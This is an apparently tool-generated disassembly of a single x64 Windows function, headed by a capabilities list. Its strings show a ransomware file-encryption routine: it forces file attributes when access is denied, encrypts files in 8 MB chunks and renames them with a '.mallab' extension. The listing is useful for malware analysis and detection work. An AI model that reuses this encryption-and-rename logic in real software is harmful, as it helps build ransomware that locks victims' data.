Function at 0x14000598c
Capabilities:
Get file size
Move file
Set file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x308]
sub rsp, 0x3d0
movaps xmmword [rax - 0x48], xmm6
mov rax, qword [0x140059010]
xor rax, rsp
mov qword [rbp + 0x2b8], rax
mov edx, dword [r8]
lea rsi, [rbp + 0x240]
xor ebx, ebx
mov qword [rbp + 0x260], rcx
mov rdi, r8
mov r14, rcx
mov r12d, 0xff
lea r15d, [rbx + 4]
lea r13d, [rbx + 1]
mov eax, edx
dec edx
mov dword [rdi], edx
test eax, eax
jne 0x140005a0b
mov rcx, rdi
call fcn.140003790
mov dword [rdi], r12d
mov edx, r12d
mov eax, dword [rdi + 0x400]
mov ecx, r12d
jmp 0x140005a11
mov eax, dword [rdi + rdx*4 + 4]
mov ecx, edx
mov dword [rsi], eax
add rsi, 4
sub r15, r13
jne 0x1400059e8
lea rsi, [rbp + 0x270]
mov r15d, 0xa
mov eax, ecx
dec ecx
mov dword [rdi], ecx
test eax, eax
jne 0x140005a49
mov rcx, rdi
call fcn.140003790
mov dword [rdi], r12d
mov ecx, r12d
mov eax, dword [rdi + 0x400]
jmp 0x140005a4d
mov eax, dword [rdi + rcx*4 + 4]
mov dword [rsi], eax
add rsi, 4
sub r15, r13
jne 0x140005a29
movups xmm0, xmmword [rbp + 0x270]
mov rax, qword [rbp + 0x290]
lea rcx, [rbp + 0x180]
movups xmm1, xmmword [rbp + 0x280]
mov qword [rbp + 0x268], rax
movups xmmword [rbp + 0x298], xmm0
movups xmmword [rbp + 0x2a8], xmm1
call fcn.140001638
movups xmm6, xmmword [rbp + 0x240]
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x180]
movdqu xmmword [rbp + 0x230], xmm6
call fcn.1400017c4
mov r15d, 0x80
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], r15d
xor r9d, r9d
mov r8d, r13d
mov edx, 0xc0000000
mov rcx, r14
lea r12d, [r15 - 0x7d]
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
or rax, 0xffffffffffffffff
cmp rsi, rax
jne 0x140005c61
mov r8, r14
lea rcx, str.Invalid_Handle__error:__d__for:__s_r_n
mov edx, edi
call fcn.140005468
cmp edi, 0x20
jne 0x140005bbd
lea rcx, [0x14005be70]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movdqa xmm0, xmmword [0x140053350]
lea rcx, [rbp + 0x240]
mov rdx, r14
mov qword [rbp + 0x240], rbx
movdqu xmmword [rbp + 0x250], xmm0
call fcn.140009e98
mov rdx, qword [0x14005bec0]
cmp rdx, qword [0x14005bec8]
je 0x140005b93
mov qword [rdx], rbx
mov qword [rdx + 0x10], rbx
mov qword [rdx + 0x18], rbx
movups xmm0, xmmword [rbp + 0x240]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x250]
movdqa xmm0, xmmword [0x140053350]
movups xmmword [rdx + 0x10], xmm1
add qword [0x14005bec0], 0x20
movdqu xmmword [rbp + 0x250], xmm0
mov word [rbp + 0x240], bx
jmp 0x140005b9f
lea r8, [rbp + 0x240]
call fcn.14000a270
lea rcx, [rbp + 0x240]
call fcn.140009e34
lea rcx, [0x14005be70]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x140005f5e
cmp edi, 5
jne 0x140005f5e
mov rdx, r14
lea rcx, str.Access_denied__trying_to_set_rights_to_everyone.__s_r_n
call fcn.140005468
mov edx, r15d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov qword [rsp + 0x30], rbx
mov edi, 0xc0000000
mov edx, edi
mov dword [rsp + 0x28], r15d
xor r9d, r9d
mov dword [rsp + 0x20], r12d
mov r8d, r13d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
or rax, 0xffffffffffffffff
cmp rsi, rax
jne 0x140005c61
mov rcx, r14
call fcn.140004374
test eax, eax
je 0x140005f5e
mov rdx, r14
lea rcx, str.Rights_set__opening__s_r_n
call fcn.140005468
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], r15d
mov r8d, r13d
mov edx, edi
mov dword [rsp + 0x20], r12d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
or rax, 0xffffffffffffffff
cmp rsi, rax
je 0x140005f5e
xor eax, eax
lea rdx, [rsp + 0x58]
mov rcx, rsi
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140005f55
mov rcx, qword [rsp + 0x58]
cmp rcx, 0x2710
jl 0x140005f55
cmp dword [rbp + 0x338], ebx
je 0x140005cb4
cmp rcx, qword [0x14005ccc8]
jle 0x140005cb4
xchg qword [0x14005ccc8], rcx
mov rcx, qword [rsp + 0x58]
movups xmm6, xmmword [rbp + 0x240]
movabs rax, 0xa3d70a3d70a3d70b
mov dword [rsp + 0x40], ebx
imul rcx
mov r12d, ebx
mov dword [rsp + 0x50], ebx
add rdx, rcx
mov dword [rsp + 0x48], r13d
sar rdx, 6
mov r8d, 0x800000
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*4]
shl rax, 3
cmp rcx, 0x19000
jle 0x140005d1c
cmp rax, r8
jle 0x140005d1c
cqo
mov dword [rsp + 0x40], r8d
and edx, 0x7fffff
mov r12d, r8d
add rax, rdx
sar rax, 0x17
mov qword [rsp + 0x48], rax
jmp 0x140005d21
mov dword [rsp + 0x50], r13d
xor edx, edx
lea rcx, [rbp - 0x30]
mov r8d, 0x1a8
call fcn.14001ca30
mov r9d, 0x100
lea r8, [rbp + 0x298]
mov edx, 2
lea rcx, [rbp - 0x30]
call fcn.14000e950
lea r8, [rbp + 0x268]
lea rcx, [rbp - 0x30]
call fcn.14000f050
mov r15d, ebx
mov r13d, ebx
mov rdi, rbx
cmp dword [rsp + 0x50], ebx
je 0x140005e21
mov eax, dword [rsp + 0x58]
mov ecx, eax
mov dword [rsp + 0x40], eax
call fcn.140021844
mov r12, rax
test rax, rax
je 0x140005f22
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x54]
mov rdx, rax
mov rcx, rsi
call fcn.140005914
mov r8d, dword [rsp + 0x54]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
lea rcx, [rbp - 0x30]
mov r9, r12
mov qword [rsp + 0x20], r8
mov rdx, r12
mov qword [rsp + 0x48], rbx
call fcn.14000f1a0
test eax, eax
jne 0x140005dee
lea rax, [rbp + 0x260]
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], rax
lea rcx, [rbp - 0x30]
call fcn.14000f540
test eax, eax
jne 0x140005f1a
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call fcn.140005838
test eax, eax
je 0x140005f1a
mov r8d, dword [rsp + 0x54]
lea r9, [rsp + 0x54]
mov rdx, r12
mov rcx, rsi
call fcn.14000589c
mov r15d, eax
jmp 0x140005f1a
mov ecx, r12d
call fcn.140021844
mov r12, rax
test rax, rax
je 0x140005f22
cmp dword [rsp + 0x48], ebx
jbe 0x140005f1a
mov r14d, dword [rsp + 0x40]
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call fcn.140005838
mov r15d, eax
test eax, eax
je 0x140005f13
lea r9, [rsp + 0x54]
mov r8d, r14d
mov rdx, r12
mov rcx, rsi
call fcn.140005914
mov r15d, eax
test eax, eax
je 0x140005f13
cmp dword [rsp + 0x54], r14d
jne 0x140005f13
mov r8d, dword [rsp + 0x54]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rcx, [rbp - 0x30]
mov r9, r12
mov qword [rsp + 0x20], r8
mov rdx, r12
mov qword [rsp + 0x40], rbx
call fcn.14000f1a0
test eax, eax
jne 0x140005ed0
lea rax, [rbp + 0x240]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea rcx, [rbp - 0x30]
call fcn.14000f540
test eax, eax
jne 0x140005efe
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call fcn.140005838
test eax, eax
je 0x140005efe
mov r8d, dword [rsp + 0x54]
lea r9, [rsp + 0x54]
mov rdx, r12
mov rcx, rsi
call fcn.14000589c
mov r15d, eax
test eax, eax
je 0x140005f13
add rdi, 0x800000
inc r13d
cmp r13d, dword [rsp + 0x48]
jb 0x140005e44
mov r14, qword [rbp + 0x260]
mov rcx, r12
call fcn.140021830
lea rcx, [rbp - 0x30]
call fcn.14000f6d0
test r13d, r13d
jne 0x140005f8d
test r15d, r15d
jne 0x140005f8d
mov rdx, r14
lea rcx, str.Fail_to_encrypt_file:__s_r_n
call fcn.140005468
xorps xmm0, xmm0
movups xmmword [rbp + 0x298], xmm0
movups xmmword [rbp + 0x2a8], xmm0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x2b8]
xor rcx, rsp
call fcn.14001a680
lea r11, [rsp + 0x3d0]
mov rbx, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
movups xmm0, xmmword [rbp + 0x270]
mov rax, qword [rsp + 0x58]
mov r12d, 2
movups xmm1, xmmword [rbp + 0x280]
mov r8d, r12d
mov rdx, rbx
movaps xmmword [rsp + 0x70], xmm0
mov rcx, rsi
movsd xmm0, qword [rbp + 0x290]
movsd qword [rbp - 0x70], xmm0
movups xmm0, xmmword [0x14005bac8]
mov dword [rsp + 0x60], 0x1020102
movaps xmmword [rbp - 0x80], xmm1
movups xmm1, xmmword [0x14005bad8]
mov dword [rsp + 0x64], r13d
movups xmmword [rbp - 0x58], xmm0
mov qword [rsp + 0x68], rax
movdqu xmmword [rbp - 0x68], xmm6
mov dword [rbp - 0x38], 0x3040304
movups xmmword [rbp - 0x48], xmm1
call fcn.140005838
lea r9, [rsp + 0x54]
mov rcx, rsi
lea r8d, [r12 + 0x6a]
lea rdx, [rsp + 0x60]
call fcn.14000589c
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, r14
lea rcx, str.File_encrypted__trying_to_move...__s_r_n
call fcn.140005468
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r15, str..mallab
mov edi, eax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [rax + 1]
mov eax, r12d
add esi, edi
mov ecx, esi
mul rcx
lea rcx, [r12 - 3]
cmovo rax, rcx
mov rcx, rax
call fcn.140021844
mov rdi, rax
test rax, rax
je 0x140005f5e
mov r9, r14
mov qword [rsp + 0x20], r15
lea r8, [0x140051560]
mov edx, esi
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_MoveFileW]
mov rcx, rdi
call fcn.140021830
jmp 0x140005f5e